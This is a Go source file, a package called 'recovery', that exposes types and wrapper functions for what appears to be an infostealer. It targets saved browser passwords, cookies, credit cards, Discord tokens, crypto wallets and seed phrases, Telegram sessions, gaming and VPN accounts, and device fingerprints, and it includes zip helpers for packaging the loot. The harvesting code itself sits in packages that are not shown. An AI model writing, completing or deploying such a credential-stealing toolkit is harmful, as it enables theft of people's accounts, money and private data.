Files
2026-08-27 11:21:43 -06:00

59 lines
2.5 KiB
Go

package recovery
import (
"recovery/recovery/fingerprint"
"recovery/recovery/scanner"
"recovery/recovery/types"
"recovery/recovery/ziputil"
)
type CollectOptions = types.CollectOptions
type CollectionResult = types.CollectionResult
type BrowserConfig = types.BrowserConfig
type ProfileInfo = types.ProfileInfo
type ResolvedKeys = types.ResolvedKeys
type PasswordResult = types.PasswordResult
type CookieResult = types.CookieResult
type AutofillResult = types.AutofillResult
type HistoryResult = types.HistoryResult
type BookmarkResult = types.BookmarkResult
type CreditCardResult = types.CreditCardResult
type DiscordTokenResult = types.DiscordTokenResult
type FileResult = types.FileResult
type ExtensionResult = types.ExtensionResult
type WalletResult = types.WalletResult
type TelegramResult = types.TelegramResult
type KeyResult = types.KeyResult
type SeedResult = types.SeedResult
type AppCredentialResult = types.AppCredentialResult
type GamingResult = types.GamingResult
type SteamResult = types.SteamResult
type GameInfo = types.GameInfo
type BattleNetResult = types.BattleNetResult
type EpicResult = types.EpicResult
type RiotResult = types.RiotResult
type UplayResult = types.UplayResult
type VPNResult = types.VPNResult
type NordVPNResult = types.NordVPNResult
type WireGuardResult = types.WireGuardResult
type OpenVPNResult = types.OpenVPNResult
type MullvadResult = types.MullvadResult
type FingerprintResult = fingerprint.Result
type FingerprintJSResult = fingerprint.JSResult
func ScanExtensions() []ExtensionResult { return scanner.ScanExtensions() }
func ScanFiles() []FileResult { return scanner.ScanFiles() }
func ScanWallets() []WalletResult { return scanner.ScanWallets() }
func ScanTelegram() []TelegramResult { return scanner.ScanTelegram() }
func ScanKeys() []KeyResult { return scanner.ScanKeys() }
func ScanApps() []AppCredentialResult { return scanner.ScanApps() }
func FetchFile(path string) ([]byte, error) { return scanner.FetchFile(path) }
func ZipTelegram(path string) ([]byte, error) { return scanner.ZipTelegram(path) }
func ZipDirectory(dir string) ([]byte, error) { return ziputil.ZipDirectory(dir) }
func CollectFingerprint() *FingerprintResult { return fingerprint.Collect() }
func CollectJSFingerprint() *FingerprintJSResult { return fingerprint.CollectJS() }
func ScanSeeds(files []FileResult, passwords []PasswordResult, autofill []AutofillResult) []SeedResult {
return scanner.ScanSeeds(files, passwords, autofill)
}